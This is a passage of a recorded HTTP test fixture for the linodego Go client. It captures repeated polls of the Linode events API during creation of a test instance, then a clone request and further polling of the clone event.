POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "548" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 50, "time_remaining": null, "rate": null, "duration": 14.331109, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "548" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 50, "time_remaining": null, "rate": null, "duration": 14.393302, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "548" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 67, "time_remaining": null, "rate": null, "duration": 14.453831, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "548" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 67, "time_remaining": null, "rate": null, "duration": 14.529337, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "548" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 67, "time_remaining": null, "rate": null, "duration": 14.679188, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "548" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 67, "time_remaining": null, "rate": null, "duration": 14.755195, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "548" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 67, "time_remaining": null, "rate": null, "duration": 14.828456, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "548" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 67, "time_remaining": null, "rate": null, "duration": 14.89257, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "547" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 67, "time_remaining": null, "rate": null, "duration": 14.960889, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "548" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 69, "time_remaining": null, "rate": null, "duration": 15.032063, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "548" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 100, "time_remaining": 0, "rate": null, "duration": 15.0, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "finished", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "542" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"us-iad","type":"g6-nanode-1","backups_enabled":false,"private_ip":true,"metadata":{"user_data":"cmVhbGx5Y29vbHVzZXJkYXRh"}}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/49042875/clone method: POST response: body: '{"id": 49042888, "label": "linode49042888", "group": "", "status": "offline", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["172.234.32.9", "192.168.159.174"], "ipv6": "1234::5678/128", "image": "linode/debian9", "region": "us-iad", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "de4e6d9c22d3994ca3ad6ddab73a4877c9e705b4", "has_user_data": true}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "742" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode"}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "546" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - 